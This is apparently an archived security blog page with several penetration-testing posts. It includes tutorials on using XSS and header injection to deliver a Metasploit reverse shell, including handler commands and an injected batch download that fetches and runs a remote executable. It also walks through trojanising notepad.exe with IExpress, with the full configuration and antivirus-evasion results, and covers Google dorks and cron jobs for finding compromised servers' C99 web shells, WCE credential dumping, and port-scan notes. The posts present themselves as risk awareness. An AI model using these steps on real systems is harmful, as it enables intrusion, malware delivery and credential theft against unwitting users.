Elusive Thoughts

11/04/2012

MSF Payload Web Bouncing

Intro

This article refers basically to a very well known but also a very misunderstood Web Application vulnerability the Cross Site Scripting attack. What most of my clients do not understand is how an XSS attack can be used to compromise their Web Application Infrastructure. And it is logical since even the name of the attack is misleading, it should not be called Cross Site Scripting Attack, it should be called Script Injection attack. That is because when you manage to inject or else bounce a script to a web site then it will eventually end up to the users laptop and do damage. In this article it is implied that you already have a running Metasploit or know how to install and run Metasploit.

Exploiting XSS or else Script Injection attacks

Stealing the session cookie is not the only way to take advantage of an XSS attack, so with an XSS attack someone under certain conditions can:

Hijack the user session and cause user identity theft (which by the way is none traceable).
Inject a Trojan Web Form (e.g. using Cascading Style Sheets) and steal user credentials.
Redirect users to phishing sites and steal user personal data.
Execute a Web Site function (e.g. cause an attack similar to a CSRF attack).
Bounce to the server a malicious payload (e.g. an executable, vbs or .bat file) and compromise the users PC/Laptop.
Redirect the user browser to a BEEF (Browser Exploitation Framework) link and take over the user browser.
Do a File Download injection using HTTP Header Injection (I consider Header Injection to be in the same category with XSS injection)

In this article we will analyze how an attacker can use the msfpayload utility and a Script Injection vulnerability to bounce a malicious payload to users PC. The attack is relatively easy to implement since with the msfpayload utility we can generate lots of types of payloads including of course a remote shell and many other stuff.

A conceptual representation of this type if attack can be found here:

Note: In this conceptual representation of the attack a malicious user sent an e-mail with the infected URL to the victim user and the victim user clicks on the URL. This type of attack can also become more effective when Script Injection is stored into the vulnerable Web Application.

Generating the Metasploit payload and starting the Handler

As already mentioned there are many tutorials in the Internet on how to generate an msfpayload so for one more time we will generate an msfpayload by typing the command ./msfpayload windows/shell/reverse_shell O we get the options of the shell. The Metasploit tcp reverse shell listens for a connection and spawns a command shell back to the attacker. In order to successfully generate the shell we have to issue the following command:

So after we successfully generate the desired payload, which by the way I named it ClickMe.exe, and verify that it is a valid executable file by issuing the file command we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:

cd /pentest/exploits/framework3
./msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST sameIPfromBefore
msf exploit(handler)> set LPORT 123
msf exploit(handler)> exploit -j

Note: The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Making the Metasploit payload inject-able

In order now to bounce our payload to the target Web Application we would have to mutate our payload and convert it into an Inject-able script. Again we do that by using exe2vbs, it takes as input an executable and returns back a Visual Basic Script file, which by the way is executable from a browser. The following tool is located in /pentest/exploits/framework/tools

So we convert our executable to a VBScript in order to injected it to the target Web Application. The following command will do that:

The output of the command would be:

Further investigation can show you that after the conversion of the executable to a Visual Basic Script the payload looks something like this (when opened with vim):

Note: If you do a cat ClickMe.vbs | wc -l you will see that it is 760 lines and this as shown above translates to 73802 bytes.Further payload mutation can happen by performing VBScript Code Obfuscation using on-line tools such as Stunnix.

Further Obfuscation can also occur to the malicious URL pointing or holding our malicious payload. Internet Explorer and Netscape have both begun dealing with URLs differently, particularly in versions 6 and above. Making it easier to perform XSS like attacks to none suspicious users. For more information check out PC-HELP.

Loading the MSF Payload in Internet Explorer 8.0

You can use the SCRIPT element to add VBScript code to an HTML page, and that is what we will do in order to have successes. We are going to use the <SCRIPT LANGUAGE="VBScript"> and the <SCRIPT>. The following image shows an example taken from Microsoft MSDN site:

The payload injection script would look like that <SCRIPT LANGUAGE="VBScript">MSF Payload</SCRIPT>. If the web application does not filter the <SCRIPT> tag properly then an attack of this type can happen and the attacker will take a remote access of victims machine.

Now we will create a test Html page and open it with Internet Explorer 8.0:

Note: In order to for the VBscript payload to execute properly the user would have to click OK to some alert boxes warning the user for malicious content but eventually the payload will execute normally. From the address bar you can see that the payload was loaded from my hard disk. Also have a look at the icon suggesting that IE8.0 continuously executes the page content. Further investigation can be made to improve the attack. The same attack can be achieved through a phishing site that would graciously allow you to download content from it.

The following screen shot shows a netstat -an | findstr 1234 command issued and as you can see the payload was successfully launched and listening in port 1234 (see how above in the payload generation section we choose our shell to listen in port 1234):

We can verify that the shell is listening to the specified port by launching a telnet session and start interacting with the shell in 127.0.0.1 (we can have the same effect using 192.168.1.5 address assigned from the local dhcp server of course):

Note: As you can see the telnet session cannot handle very well the shell output, and that is why some characters are not readable (of course netcat can also be used).

ActiveX and VBScript support in Opera

Opera does not have in-built support for Microsoft's Windows-specific ActiveX technology or the VBScript scripting language.Opera does however support the use of Netscape compatible plugins, which can provide similar functionality to most ActiveX controls. Opera also supports JavaScript, which is the most common scripting language used on the Web, and is usually preferred instead of VBscript. All of these technologies are, unlike ActiveX and VBScript, available on multiple platforms.

Running ActiveX controls (VBScript) in Opera using the Neptune plug-in

MeadCo produces a plug-in called Neptune, which hosts Microsoft's Web Browser control.What this means is that the Internet Explorer engine can be run within Opera, and this in effect makes it possible to load and run ActiveX components.

Note: This only works on Windows, and the same security precautions should be taken as when running ActiveX components in Internet Explorer. Using Neptune in Opera is essentially the same as running Internet Explorer in an Opera window.

Running VBscript in Firefox

It is known that .vbs files aren't handled over the internet by default when using Firefox, unless it is really an .asp page and you have set your server to handle .vbs files as if they were .asp (not verified information though).

Executing VBScript through Firefox and Opera using File Download Injection

One way to bypass the limitations identified in Opera and Firefox is by exploiting another vulnerability named header injection file download. There is a very good paper that documents the vulnerability very well in this link. Header Injection has been known for a long time and occurs in all of the web application platforms, including Java, .NET, and PHP. Attackers can use file download injection to completely replace the file being downloaded (e.g. from a file repository in a Web Server), or even inject unwanted file downloads into ordinary requests. The files injected might be malware or fraudulent versions of official files.

What Is Header File Download Injection?

Some web applications allow the user to control some part of the content disposition header, typically either the entire file name or at least a part of it. These applications are susceptible to file download injection.

The picture below shows how vulnerable code to File Download Injection attack looks like that:

To perform the attack, the attacker builds an attack string. First, he chooses a file name for the injected file, including the extension for the type of file he wants the victim to execute, such as the bad.bat. Then, he adds two carriage return line feed (CRLF) sequences to signal the end of the HTTP headers and the beginning of the file data. Note that CRLF appears as %0d%0a when percent-encoded. It might also be encoded by the non-standard %u000d%u000a%u000d%u000a. Following the two CRLFs, the attacker appends the content of the malicious file, which should match the file type indicated by the chosen extension.

For example, if an application takes the "fn" parameter from the request and puts it into the Content-
Disposition header, the attacker might attempt to abuse that application with a URL that looks like this:

http://[trusted-domain]/download?fn=XXXX%0d%0a%0d%0aYYYYYYYYY

Where XXXX is the file name (and extension) that the attacker wants to name the malicious injected file, and YYYYYYYYY is the content of that file (the content of the file is passed in the URL). A vulnerable application will generate a response like the following:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=XXXX
YYYYYYYYY
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

When the web application generated the response, the injection modified its meaning. The new malicious response directs the browser to open the attacker's maliciously injected file. The original headers following Content-Disposition were pushed down to the end of the file data after the YYYYYYYYY by the CRLF characters injected. With some combinations of browsers and file types, a confirmation dialog box appears that asks the use to "run", "save", or "cancel". With other combinations, no such confirmation is required.

A Batch File Download Injection Example

Using the technique described above, the attacker can perform header injection into the “fn” parameter to take over the response. The attacker can specify the full file name and extension. Then by injecting two CRLF sequences, the attacker can send the body of the HTTP response which will be interpreted by the browser as the content of the file.

For example, if the victim clicks on the following link in an email or on a webpage:

http://[trusted_domain]/download?fn=bad.bat%0d%0a%0d%0awordpad

The following is the actual HTTP response generated by a vulnerable application on the Internet:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=bad.bat
Content-length: 88
wordpad
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

Note: This response tells the browser to open the file “bad.bat” containing the command “wordpad” on the first line. In each browser there are different behaviors:

In IE7 on Vista SP1 this displays a popup that says “run”, “save”, or “cancel.” Selecting “run” immediately executes the batch file and starts Wordpad.
Firefox saves the file to disk automatically, and requires the user to click “open” to execute it. Injecting a batch file is quite dangerous, since the link starts with http://[trusted_domain]/ and will likely fool many users into thinking it is safe to click “run”.

Notice that the attack did not require the use of any special characters other than period, CR, and LF. Many validators are “blacklisted” and contain only a short list of invalid character sequences, such as .. and slashes.

http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0aecho%20get%20
/pub/winzip/wzinet95.exe|ftp%20-A%20mirror.aarnet.edu.au%0d%0awzinet95.exe

Note: This example shows how a broken response without a content length header may be "fixed" by something downstream from the vulnerable application.

Mutating our payload to a .bat file with Python

What we are left to do now is convert our .vbs payload now into a .bat file and injected into the Header of a vulnerable Web Application. We will do that using again Python of course (the name of the echoed file is wrong it should be bad.vbs):

Note: The file produced from the code displayed above will actually generate a .bat file that when downloaded it to the victim PC will recreate the original VBScript file and execute the original payload. The batch file produced will actually have this format per line echo Payload Line > bad.vbs. At the end of the .bat file we add the command cscript bad.vbs (maybe add some delay to make sure that the vbs is properly echoed).

Epilogue

Bouncing malicious payloads through Script Injection attacks is a very well documented attack. The only way to defeat this type of attacks is user awareness and proper input validation filters. I once more proved how malicious and toxic the Internet can be, hope it helped.

References:

09/04/2012

The Perfect Web Pen Test

Intro

From time to time I think what would be the Perfect Web Application Penetration Test, how can you be sure that you tested the Web Application the best possible way? How can you be sure that you managed to guess and by pass all possible badly designed input filters? Well the answer was right in front of me, simply sent all possible character-set combinations!! By sending all possible character-set combinations you do two things that are not desirable 1st you increase the traffic load a lot and 2nd you increase significantly the amount of time the penetration test is going to take (some payloads are for sure not going to help you find any kind of vulnerability or bypass any type of filter and filter bypassing can probably be achived only of you do further payload obfuscation e.g. add comment characters e.t.c).

Now a few of the side effects that might arise are 1st your might cause a DoS attack (if you do a pentest it should be included in the engagement rules) and 2nd you cannot hide your source IP so easily from Network Intrusion Detection Systems/Network Intrusion Prevention Systems, Host-based Intrusion Detection Systems /Host-based Intrusion Prevention Systems, Network Firewalls and Web Application Firewall device (meaning that the devices mentioned above probably will block your traffic).

But if you do not care about being spotted or the client does not care about testing his/her web site for DoS attack (it is not so easy to cause a DoS attack but I have seen that happening) then you can simply write your own payload generator and forward all payloads to the target Web Site using Burp Intruder or WSFuzzer. The programming language of my choice of course Python.

Other payloads lists in the Internet

The funny thing is that many people use fuzzdb to get strings to use for penetration testing purposes which is not bad of you have a relatively limited amount of time to perform the penetration test. But if you want to run a thorough penetration test then generating you own payload list is better.

Generating your own payloads using Python

Generating your own payloads is relatively easy when using Python. Python has a library that helps you print all element combination of a list. The library I am referring to is the itertool module which implements a number of iterator building blocks inspired by constructs from APL, Haskell, and SML. Each has been recast in a form suitable for Python.

So lets say for example that you want to test the target web site for error based SQL injections, but you do not want to exploit the SQL injection just to identify vulnerable variables (that when tampered a database error is returned back and splashed into your screen) then as already mentioned in other posts of this blog you need only a char-set of a few specific characters: ' , ; , ), (, -, ". Now that we have this information the only thing that remains is to write a python program that is going to get as an input the list of the characters shown above. Now we will generate a list with all combinations, remove duplicates (if there are any duplicates) from the list and then write all combination to a text file for later use.

The following picture shows the python program it took me 5 minutes to write it:

The list when opened looks exactly like that:

Note: You should by now be capable to understand that you can easily convert this program to a password generator and then add some statistical analysis to the strings in order to appear more often (the most desired strings of course).

A simple way to improve your results, on identifying SQL injections, would be to use a Python list with more characters such as this one:

Note: If you do a wc -l in a Unix-like command shell you will see that you get 5041 different payloads!!

If you want to convert your little Python program into a password generator you can add this Python list:

Note: Again if you do a wc -l in a Unix-like command shell you will see that you get 40320 different passwords containing all combinations using the char-set of a,b,c,d,e,a,!,@.

Using the generated list with Burp Intruder

Now that we generated the list we have to feed it in a tool in order to use it later on, we run Burp then go to Intruder and load the list to burp intruder:

The we add a costume payload:

And we point our payload to the target Web Site:

Note: If you see carefully the above image you will see that I am using the sniper mode for the test (best choice when trying to identify initial SQL injection vulnerabilities)

Analyzing the data

After performing the Web Application fuzzing Burp Intruder gives the possibility to analyze the returned data and process them using the Buro Intruder flexible Grep Functionality, meaning:

Grep Match
Grep Extract
Grep Payloads

The following screens shows how you can actuall analyze the retunred data from the fuzz just done:

Note: This is the Grep Match feature.

Note: This is the Grep Extract feature.

Note: This the payload extract.

The following picture show how you save your data:

Note: By cliking to Save you get a whole new menu to analyze your data.

The following picture shows that format you can use to save the data:

Note: Very simple GUI and easily managable.

Epilogue

This post proved you that you do not need to use string lists such as fuzzdb to test a web application, you can very easily use your own. If you want to test for XSS or XML Injections you have obviously to change the char-set. It would be a very good idea to add some statistical analysis and filter out your list in such a way so that more interesting characters in certain positions appear at the top of the list, meaning that it would be a good idea for example to have single quote at the begging of the string and not the end.

References:

http://docs.python.org/library/itertools.html

06/04/2012

Knock Knock Who is There?

Intro

This article was posted to show you how ridiculously easy is to back door any executable of your choice (well almost any) without even knowing how to pronounce the word CoMpUtEr. I call this constructive hacking because you literally construct the Trojan Horse using windows embedded packers without knowing how to program in any programming language, and the best part is that it is not even traceable from almost all if any anti virus software that exist in the market.

The magical wizard

When I say magical wizard I am referring to the IExpress wizard (obviously very well know to the hacking community for a long time now). IExpress wizard exist in almost all windows versions with default installation. You can use the IExpress Wizard and it's command-line options that come with Windows XP, Windows Server 2003, and Windows Vista to simplify the creation of a setup program. Using the IExpress Wizard, you can create self-extracting files that automatically run the setup program that is contained inside. The setup program can be an .inf file or an executable program. IExpress automatically removes the setup files after installation.

Now what is suspicious about that? Of course the fact that you can pack other executable within any of the executable you choose to. The IExpress Wizard can help you carry out installations of your customized browser package, such as determining whether the computer needs to be restarted after installation. You can find the IExpress Wizard (IExpress.exe) in the <systemdrive>:\WINDOWS\system32 folder.

IExpress uses a Self-Extraction Directive (.sed) file to store information about your package. When you run the IExpress Wizard, you can start with an existing .sed file or create a new one by using the wizard. The .sed file contains information and instructions about the setup package.

Running the wizard

A very easy way to start IExpress wizard is by Start --> Run and then type IExpress. If you do that the IExpress wizard window is going to pop up and ask you to follow a flow of next button clicking instructions to achieve your goal.

Step 1:Running IExpress wizard window looks exactly like that:

Step 2: The following window that appears is this one:

Note: Notice that I have marked the software version and clicked on the Create new Self Extraction Directive option, which is the one we are going to use for the purpose of this tutorial.

Step 3: The next step will be to click next and get the next wizard window:

Note: This this window we choose Extract file and run an installation command, very important option for our success.

Step 4: And again you can see that the next window asks for a the package title (I choose Evil Notepad):

Step 5: In this part we want a none interactive installation and for that reason I choose No prompt and click to next button:

Step 6: Again we want a none interactive installation (for reducing the user interaction) and for that reason I choose Do not display a license and click to next button:

Step 7: In the following window we can add the executable we want to back door:

We will now stop the process with our wizard and locate the notepad executable which by the way is located in this path %SystemRoot%\system32 notepad.exe we copy the executable to the desired location in order to insert it.

The notepad.exe before our back door

For this tutorial (as already mentioned) we will use the notepad.exe to do the demo. Meaning we will back door the notepad executable and explain how to run it (meaning how to the fool the victim user to install it or simply run the infected executable). But first lets have a look at the properties of the executable we are infecting:

Note: Check the Size property of the file, it is 147 KB. Obviously the size of the notepad.exe after inserting the Trojan executable is going to be increased (or maybe not?).

Generating our Metasploit payload

There is a relatively large amount of tutorials in the internet on how to generate the desired payload using msfpayload utility and an even larger amount of tutorials on how to bypass industry anti virus software. Now according to my opinion the best malicious payload to generate using Metasploit is Windows version of reverse Https Meterpreter shell (meaning of course windows/meterpreter/reverse_https). Reverse Https payloads after being executed establish a reverse HTTPS connection back to attacker's PC (obviously in port 443).

More specificaly reverse Https shell from Metasploit tunnel communication over HTTP using SSL and Inject the meterpreter server DLL via the Reflective Dll Injection payload (which of course is staged).

Step 8: We are now going to use msfpayload to generate out desired executable. We cd to /pentest/exploits/framework2 in backtrack and then type ./msfpayload windows/windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 R| msfencode -t exe -e x86/shikata_ga_nai >> ClickOnMe.exe (I also used an shikata_ga_nai encoding but it is not needed). Boom the executable was generated (named ClickOnMe.exe of course).

The following screen shot shows the options for the specific payload:

The following screen shot shows the generated executable for the specific payload:

If we do now a file ClickMe.exe we will see that is a DOS executable:

Step 9: Then we start our handler to the attacking PC and insert the executable from our PC to the notepad. So we type:

cd /pentest/exploits/framework3
./msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler)> set LHOST sameIPfromBefore
msf exploit(handler)> set LPORT 443
msf exploit(handler)> exploit -j

Now a handeler is running in the victims PC is listening in port 443 for reverse Https payload. The executable payload is already created so the next step would be to insert the executable to our notepad.

Inserting the executable into Notepad.exe

Step 10: We now continue from step 7 (having done already step 8 and 9 of course), the wizard waits to add the executable so we add using the button Add:

Note: As you can see both executable files are now added to the packer.

Step 11: The next step would be to install the notepad.exe (in this occasion notepad obviously does not need to be installed) and then execute the ClickOnMe.exe afterward:

Note: In the install program we put notepad.exe and post install we use the Trojan ClickMe.exe.

Note: In order to achive a silent installation we choose to use the No message.

Note: Again we choose to save the EvilNotepad.exe to a specific file.

Note: The screen shots above show a series of next clicking to create the package.

The task manger above shows the malicious executable EvilNotepad.exe running. If you do now a left click properties you will see that the size of the file is increased!! even though there was a 44% compression of the package. Further investigating the EvilNotepad.exe will make you see that if you use a tcpmon it will record the Trojan payload attempt to connect back to the attackers PC.

The configuration file (ending in sed and named as EvilNotepad.sed) shows the exact configuration exported:

[Version]
Class=IEXPRESS
SEDVersion=3
[Options]
PackagePurpose=InstallApp
ShowInstallProgramWindow=1
HideExtractAnimation=1
UseLongFileName=1
InsideCompressed=0
CAB_FixedSize=0
CAB_ResvCodeSigning=0
RebootMode=N
InstallPrompt=%InstallPrompt%
DisplayLicense=%DisplayLicense%
FinishMessage=%FinishMessage%
TargetName=%TargetName%
FriendlyName=%FriendlyName%
AppLaunched=%AppLaunched%
PostInstallCmd=%PostInstallCmd%
AdminQuietInstCmd=%AdminQuietInstCmd%
UserQuietInstCmd=%UserQuietInstCmd%
SourceFiles=SourceFiles
[Strings]
InstallPrompt=
DisplayLicense=
FinishMessage=
TargetName=C:\Documents and Settings\trojan\EvilNotepad.exe
FriendlyName=Evil Notepad
AppLaunched=notepad.exe
PostInstallCmd=ClickOnMe.exe
AdminQuietInstCmd=
UserQuietInstCmd=
FILE0="notepad.exe"
FILE1="ClickOnMe.exe"
[SourceFiles]
SourceFiles0=C:\Documents and Settings\jerry\Desktop\
[SourceFiles0]
%FILE0%=
%FILE1%=

Testing it for anti-virus

After generating the payload we and check the properties of the file we see that the size is 193 KB:

Note: Defeating the notepad change can be achieved by doing multiple integrity checks with appropriate software.

Now the next step to do is to upload it in virus total to see what the anti-virus software can do:

Note: As you can see obviously anti-virus such as Symantec and SUPERAntiSpyware did not detect the malicious payload.

Epilog

I just proved you that even a person that has almost no clue about computers can actually generate an effective Trojan horse and obviously steal your credit card or personal data (maybe a jealousy boyfriend). Imagine someone using the same methodology to generate Trojan horses combined with social engineering through facebook or flicker. I hope I helped you understand the risks.

Reference:

04/04/2012

PHP Malware C99 Shell

Intro

This post is about identifying web back doors. Recently I made a research about PHP Malware C99 Shell and it seems to be very popular among lots of hacking groups and script kiddies.

C99 PHP Shell

C99Shell is a very well designed shell that practically lets you do about anything with the server, if you have the proper access rights. Here is a list with more web back doors, the link given is actually a google project and it is not going to be accessible trough corporate web gateways (with mal-ware filtering, URL filtering or Content filtering).

Google Dorks

Now days someone would not even have to hack a web server, the only thing they have to do is google already compromised servers by using Google Dorks and boom already got into the compromised machine. Usually the compromised machines found this way are not so interesting, because something that is valuable is better protected (well not always!) and the google crawlers will spot it after a relatively big amount of time. Which means that when you google a web back door and find one then it is already searched many times before you.

To be more specific a "Crawler" is a generic term for any program (such as a robot or spider) used to automatically discover and scan websites by following links from one webpage to another. Google's main crawler is called Googlebot. This table lists information about the common Google crawlers you may see in your referrer logs, and how they should be specified in robots.txt, the robots meta tags, and the X-Robots-Tag HTTP directives.

But if you want more fine-grained control, you can get more specific. For example, you might want all your pages to appear in Google Search, but you don't want images in your personal directory or hidden linkes such as web back door to be found and to be crawled. In this case, you can use robots.txt to disallow the user-agent Googlebot-image from crawling the files in your /personal directory (while allowing Googlebot to crawl all files), like this:

User-agent: Googlebot

Disallow:

User-agent: Googlebot-Image

Disallow: /personal

Someone can improve his/her web site crawling performance by simply adding directives for different crawlers, like this:

<meta name="robots" content="nofollow"><meta name="googlebot" content="noindex">

The truth is that most of the time the web site is going to crawled and be easily googled no matter what you do , an adversary will even be able to access none linked pages.

Web Back-door Google-Dorks using Google Alerts

Gaining access to web back doors in already compromised machines is easier done than thought. By simply using google alerts you can google all web back doors in the Internet and be notified through your google mail box. The best way to do it is by using the intitle:, intext:, inurl: search engine keywords. For example in order to google !C99madShell you simply type in the search:

intitle:!C99madShell
intext: !C99madShell
inurl:backdor_name.php

Note: If you want to limit the search to your web site you can obviously use the site: keyword. For example you can type intitle:!C99madShell site:www.maiavictim.com boom you will search only your web infrastructure.The following screen shots shows how easy is to automate Web Back Doors searching in a daily bases:

The best thing to do in every situation in order to protect yourself from being hacked and not finding out about, is to regularly check you web infrastructure using google alerts. This is also a very good start before you begin a penetration test!! to check for already compromised web infrastructure (I know I am brilliant).

Expand and automate the search using basic scripting

A good thing to do in order to protect yourself from script kiddies is to similarly identify all web back doors that are found in the link mention above (the google project). A very good way to automate the whole process is with scripting!!

So firstly you go to google and insert the intitle:!C99madShell then the google search will return this:

If you copy the requested url you will see that it is exactly this one:

https://www.google.co.uk/#hl=en&sugexp=frgbld&gs_nf=1&cp=20&gs_id=4&xhr=t&q=intitle%3A!C99madShell&pf=p&output=search&sclient=psy-ab&oq=intitle:!C99madShell&aq=f&aqi=&aql=&gs_l=&pbx=1&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=
f711fce0343c3599&biw=580&bih=425

Now you can use curl to search using google dorks and save your search results in your hard disk or simply use firefox and save search results by doing a save as. You can do this with curl in your command prompt by typing:

curl -A Mozilla http://www.google.com/search?q=C99madSHell |html2text -width 10000000 | grep "Cached - Similar" | grep www.*.php

The following screen shot show the command (notice the html to text Linux utility I used):

The outcome of this command will be exactly the one shown below (after all the necessary grep-ing is done of course):

As you can see if you enlarge the picture (by simply clicking on the image) the search and filtering performed using curl is redirected into a file (after being properly greped to obtain only the desirable URL's). The output text file contains the potentially compromised web sites. Of course a manual filtering will have to be done to remove the references into URL's that are not really compromised.

Crontabing Google Searches

The next best thing to do in order to completely automate the process is to use crontab, a good crontab tutorial is clickmojo. As you already understand after reading this post you understand how toxic the Internet has become.

Here is how to run a google dork search at 6PM every night:

MAILTO=cron@youusername.youmailprovider.com

00 18 * * * /curl <google-dork to search> > logSearch.txt

Note: You can grep or sed the obtained data to analyze the results and verify you logged only interesting URL's.

Epilog

Internet the last 2 years has become more and more toxic. Even users with no significant information to expose or online businesses start having a hard time to maintain their blogs or web sites without taking into consideration security seriously. Please feel free to post comments and give me back some feed on how useful you find my posts......

Reference:

26/03/2012

Windows Credentials Editor

What is WCE?

It is a Windows Credentials Editor. It manipulates Windows logon Sessions and it is considered to be an evolution of the Pass-the-Hash Toolkits by it author Hernan Ochoa. WCE Internals presented at RootedCon in Madrid on early 2011. This presentation explains the inner workings of WCE including how Windows store credentials in memory pre and post Windows Vista.

Post-Exploitation with WCE presented on July 2011. Simple and effective high-level presentation with test cases.

What does WCE do?

WCE lists in-memory logon sessions (It dumps in-memory username, LM & NT hashes)
Change/delete NTLM credentials of logon sessions
Create new logon sessions and associate arbitrary NTLM credentials

Why WCE is better than pass the Hash

Feature	WCE	Pass The Hash
Supports Windows Vista/7/2008	True	False
Single executable	True	False
Delete NTLM Credentials	True	False
Works with session isolation	True	False
Programmatic discovery of new LSASRV addresses	True	False
Seamlessly chooses code injection or reading from memory	True	False

References:

21/03/2012

Quick Reference on Port Scanning

Intro

This article is about basic types of port scanning.

Port States (taking from Nmap man page)

open

An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port.

closed

A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.

filtered

Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common.

unfiltered

The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

open|filtered

Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.

closed|filtered

This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.

TCP SYN scan (with Hping2)

Scanner --- SYN (Sequence Number Set to 1) ---> Target
Scanner <- SYN/ACK (Sequence Number Set 0 and Acknowledgment Set 0) - Target
Scanner --- RST (Sequence Number Set Again to 1) ---> Target (Only if host listens)

Note: Scanner Viciously Dropped The Connection.

Or

Scanner --- RST/ACK ---> Target (Not used by Hping2 connection termination pattern)

Note: Graciously Terminated connection? (both parties have ti exchange an ACK flag), see below.

Scanner --- FIN ---> Target
Scanner <--- FIN/ACK --- Target
Scanner --- ACK ---> Target

Only a SYN packet is sent to the target port.If a SYN/ACK is received from the target port, we can deduce that it is in the LISTENING state. If a RST/ACK is received, it usually indicates that the port is not listening, but we can deduce that the host is up. A RST/ACK or RST can be sent by the system performing the port scan so that a full connection is never established (also known as half open connections).

Half Open Connections in SYN scans

A connection can be "half-open", in which case one side has terminated its end, but the other has not. The side that has terminated can no longer send any data into the connection, but the other side can. The terminating side should continue reading the data until the other side terminates as well (always based in RFC's).

Connection termination in port scanning?

The connection termination phase uses, at most, a four-way handshake, with each side of the connection terminating independently. When an endpoint wishes to stop its half of the connection, it transmits a FIN packet, which the other end acknowledges with an ACK. Therefore, a typical tear-down requires a pair of FIN and ACK segments from each TCP endpoint. After both FIN/ACK exchanges are concluded, the terminating side waits for a timeout before finally closing the connection, during which time the local port is unavailable for new connections; this prevents confusion due to delayed packets being delivered during subsequent connections.It is also possible to terminate the connection by a 3-way handshake, when host A sends a FIN and host B replies with a FIN & ACK (merely combines 2 steps into one) and host A replies with an ACK. This is perhaps the most common method.

TCP ACK scan (with Hping2)

Scanner - ACK (Sequence Number Set 0 and Acknowledgment Set 0)-> Target
Scanner <--- RST (Sequence Number Set Again to 1) ---> Target

Or

Scanner <--- Connection Timeout or Sent ICMP Error --- Target

The ACK scan probe packet has only the ACK flag set (unless you use --scanflags with Nmap). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don't respond, or send certain ICMP error messages back (type 3, code 1, 2, 3, 9, 10, or 13), are ussually labeled filtered by Nmap.

TCP Full Handshake or Connect scan (with Hping2)

Scanner --- SYN (Sequence Number Set to 0) ---> Target
Scanner <--- SYN/ACK (Sequence Number Set 0 and Acknowledgment Set 1) --- Target
Scanner --- ACK (Sequence Number Set 1 and Acknowledgment Set 1) ---> Target
Scanner --- FIN/ACK ---> Target
Scanner <--- ACK --- Target

Or

Scanner --- RST ---> Target (Nmap terminates the connection this way!)

Note: This type of scans might be logged from firewalls based always type and configuration of firewalls.

UDP scan (with Hping2)

Scanner --- UDP ---> Target
Scanner <--- ICMP error (for closed ports) --- Target
Scanner <--- Connection Timeout (for open or filtered ports) --- Target

When a UDP packet is sent to a port that is not open, the system will respond with an ICMP port unreachable message. Most UDP port scanners use this scanning method, and use the absence of a response to infer that a port is open. However, if a port is blocked by a firewall, this method will falsely report that the port is open.

TCP NULL scan (with Hping2)

Scanner --- NULL ---> Target (All flags is set to 0)
Scanner <--- RST --- Target

Or

Scanner <--- Timeout Connection --- Target (Target host is filtered from firewall that silently drops the
connection)

TCP Null scan This technique turns off all fl ags. Based on RFC 793, the target system should send back an RST for all closed ports.

TCP FIN scan (with Hping2)

Scanner --- FIN ---> Target
Scanner <--- RST --- Target

Or

Scanner <--- Timeout Connection --- Target (Target host is filtered from firewall that silently drops the
connection)

TCP FIN scan This technique sends a FIN packet to the target port. Based on RFC 793 (http://ww.ietf.org/rfc/rfc0793.txt), the target system should send back an RST for all closed ports. This technique usually only works or used to worj on UNIXbased TCP/IP stacks.

TCP Xmas scan (with Hping2)

Scanner --- FIN,URG,PUSH ---> Target
Scanner <--- RST --- Target (For all closed ports, drop connection; works in UNIXboxs)

Or

Scanner <--- Timeout Connection --- Target (Target host is filtered and silently drops the connection)

TCP Xmas Tree scan This technique sends a FIN, URG, and PUSH packet to the target port. Based on RFC 793, the target system should send back an RST for all closed ports.

TCP Window scan (with Hping2)

Scanner - ACK (Sequence Number Set 0 and Acknowledgment Set 0)-> Target
Scanner <--- RST (Sequence Number Set Again to 1) ---> Target

Or

Scanner <--- Connection Timeout or Sent ICMP Error --- Target

Window scan is exactly the same as ACK scan except that it exploits an implementation detail of certain systems to differentiate open ports from closed ones, rather than always printing unfiltered when a RST is returned. It does this by examining the TCP Window field of the RST packets returned. On some systems, open ports use a positive window size (even for RST packets) while closed ones have a zero window. So instead of always listing a port as unfiltered when it receives a RST back, Window scan lists the port as open or closed if the TCP Window value in that reset is positive or zero, respectively.

TCP Mainmon scan (with Hping2 used for BSD hosts)

Scanner --- FIN/ACK ---> Target
Scanner <--- RST (Possibly) --- Target

Or

Scanner <--- Timeout Connection --- Target (Target host is filtered and silently drops the connection)

